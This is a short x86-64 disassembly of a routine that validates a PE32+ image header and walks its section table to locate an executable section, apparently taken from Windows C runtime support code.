mov r8, qword [0x0040c8c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x403f50
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x403f58
ret
cmp word [rdx + 0x18], 0x20b
jne 0x403f50
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x403fa0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x403f97
test rcx, rcx
je 0x403f50
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x403f88
xor eax, eax
ret